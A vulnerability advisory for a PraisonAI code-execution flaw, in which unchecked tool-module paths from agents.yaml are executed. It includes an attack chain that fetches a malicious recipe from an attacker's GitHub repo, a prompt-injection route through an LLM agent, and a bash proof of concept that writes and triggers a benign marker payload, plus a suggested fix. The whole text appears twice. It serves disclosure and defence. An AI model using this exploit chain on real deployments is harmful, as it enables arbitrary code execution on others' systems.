CVE-2026-47398

PraisonAI: Arbitrary code execution via unguarded spec.loader.exec_module in agents_generator.py - sibling of CVE-2026-44334

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass) Summary The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Patch lineage

CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. Vulnerable code

praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True). Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector) HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools:

• module_path: ./evil.py # colocated in recipe dir

│ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. PoC #!/usr/bin/env bash

Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)

set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

2. agents.yaml that references it

cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools:

• evil.py

YAMLEOF

3. Run

cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

4. Verify

MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi

Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account. Severity High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) CWE

CWE-94: Improper Control of Generation of Code ('Code Injection') CWE-426: Untrusted Search Path CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD). Suggested fix Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py: import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. Credit Kai Aizen & Avraham Shemesh / SnailSploit## Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

| CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py | | This finding | — | unfixed | Missed sinks in agents_generator.py |

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)
336    def load_tools_from_module(self, module_path):
           # ...
349        spec = importlib.util.spec_from_file_location("tools_module", module_path)
350        module = importlib.util.module_from_spec(spec)
351        spec.loader.exec_module(module)               # ← NO gate
372    def load_tools_from_module_class(self, module_path):
           # ...  (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

• Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
• Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
• Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github://"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
module_path: ./evil.py        # colocated in recipe dir
        │
        ▼
  AgentsGenerator.load_tools_from_module("./evil.py")
        │
        ▼
  agents_generator.py:349   spec = spec_from_file_location("tools_module", "./evil.py")
  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT
1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
                      f"praisonai_agents_gen_pwn_{int(time.time())}.txt")
with open(marker, "w") as f:
    f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n")
print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)
def dummy_tool():
    """Placeholder so tool scan finds something."""
    pass
PYEOF
2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents_generator exec_module bypass"
roles:
  poc_agent:
    role: PoC
    goal: Trigger load_tools_from_module
    backstory: n/a
    tools:
evil.py
YAMLEOF
3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
    ai = PraisonAI(agent_file='agents.yaml')
    ai.main()
except Exception:
    pass  # downstream failure expected; exec_module already fired
"
4. Verify
MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
    echo "SUCCESS — marker file written by server process:"
    cat "$MARKER"
else
    echo "FAIL — marker not found"
    exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

• CWE-94: Improper Control of Generation of Code ('Code Injection')
• CWE-426: Untrusted Search Path
• CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os
def load_tools_from_module(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...
def load_tools_from_module_class(self, module_path):
    if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
        return []
    # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)